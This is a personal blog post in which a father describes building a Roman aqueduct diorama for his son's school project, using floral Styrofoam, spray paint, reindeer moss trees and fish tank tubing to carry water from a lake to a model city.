One of the coolest things about being a dad is getting involved in school projects again. As a kid, I always wanted to build the awesomest diorama or model but just didn’t have the skills. Now, I really enjoy helping my kids to take their projects to the next level. As my son said, “anything worth doing is worth overdoing!” He attributed that to Mythbusters, though Mick Jagger apparently said it first…

Grant started by researching Roman aqueducts and architecture in the library and online. He discovered the pertinent facts: Aqueducts carried water a great distance using gravity, but were covered pipes or trenches for most of their length and only included the familiar soaring stone bridges when absolutely necessary. At the city, the aqueduct emptied into a tank for local distribution of water.

We set out to demonstrate the Roman aqueduct using plastic cups at each end and clear fish tank tubing in between. The diorama itself would be a realistic representation of a high lake, a valley, a mountain, and a Roman city. I laid out the basic template and challenged him to come up with a design that would bring water from the lake to the city.

We constructed our terrain using FloraCraft Styrofoam

The entire diorama was constructed out of high density dry floral Styrofoam™ from FloraCraft. This is exceptionally easy to work with, inexpensive, and yields great results for projects like this. We purchased 2 large sheets of FloraCraft green foam board as well as a package of smaller blocks. It was important to me that our modeling material be safely workable by an 11-year-old, and not require any dangerous power tools. I also wanted something that would quickly show results, satisfying the impatience of youth.

FloraCraft foam does have some drawbacks, however. It is quite fragile, so we mounted hours to a wooden board. It also generates a tremendous amount of dust while being worked and sanded, so have a vacuum cleaner handy and don’t do this in the parlor! It pays to paint the entire diorama just keep the dust down. Finally, it’s extremely difficult to adhere high density foam pieces together with glue: We used Elmer’s GlueAll and toothpicks.

We began by roughly carving our landscape into one piece of FloraCraft foam board. We used a fine hacksaw for this, and were able to reuse a portion of the removed board as part of our hill.

We used Elmer's GlueAll and toothpicks to attach the foam pieces together

Once the rough shape was ready, we attached all of the pieces. First, we vacuumed off as much dust as we could. Then, we used Elmer’s Glue All and toothpicks to adhere each piece. Once dry, it was reasonably sturdy though not entirely solid.

The diorama really took on a nice look after Grant smoothed it with sandpaper

Next, Grant went at the model with some rough sandpaper to smooth out the edges and fill in the seams. He was very satisfied with the result after only a few minutes, seeing that it looked very much like a rolling, grassy landscape already.

Spray paint enhances the look and keeps the dust down

After another vacuum job, we went at the model using cans of spray paint. This serves 2 purposes: It makes the model look better to have varied coloring, and the spray paint seals in the ever present dust from construction. We used cans of black, brown, green, and red flat enamel as well as a can of clear satin enamel to seal everything in.

“Reindeer basil” makes wonderfully realistic trees

To disguise the seams, and to give an extra dose of realism, we constructed a number of trees using “reindeer basil.” I first became familiar with this material as a child, constructing trees and bushes for my model railroad. Today, it is much less expensive and wonderfully attractive. A dab of glue on the end of a toothpick secures the foliage to the tree trunk.

Grant did a fine job carving authentic shaped Roman houses

We carved the houses and the aqueduct itself using a set of X-Acto knives. Long runs of bricks, as well as the “Valley” along the top of the aqueduct to hold the tubing, were carved using the hacksaw. This was the most fun and creative portion of the entire build, and we tried to replicate the look of Roman buildings. We painted all of the buildings a contrasting color, and painted the aqueduct light gray.

Grant's aqueduct crosses a valley and bores through a mountain, just as the Romans would have done

We carefully bored a hole through the mountain for our clear “airline” fish tank tubing to pass through and used a spirit level to make sure that everything had just bit of slope so the water would run smoothly. Using a drill, we cut a hole in each of our plastic cups so the tube would just barely fit in and seal reasonably well. I wish we could have flattened the tubing a little bit more so it would sit nicely along the top of the aqueduct.

We were puzzled how to attach the tube to the water cups, but a quarter inch drill hole fit perfectly

We sealed the cups in place using a bit of clay so they could be pulled out for drainage but would stay in place the rest of the time.

The bottom board was trimmed to size using a circular saw. We punctured it with half-inch staples and then pressed the entire diorama down on it to hold it in place.

The finished product went way beyond the requirements set down by the teacher

The finished model looks just gorgeous, and the teacher was obviously quite impressed. This same technique could be used for just about any type of outdoor diorama, and is easy enough for young teens to really get their hands dirty and make something beautiful.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | How We Built a Totally Awesome Roman Aqueduct Diorama
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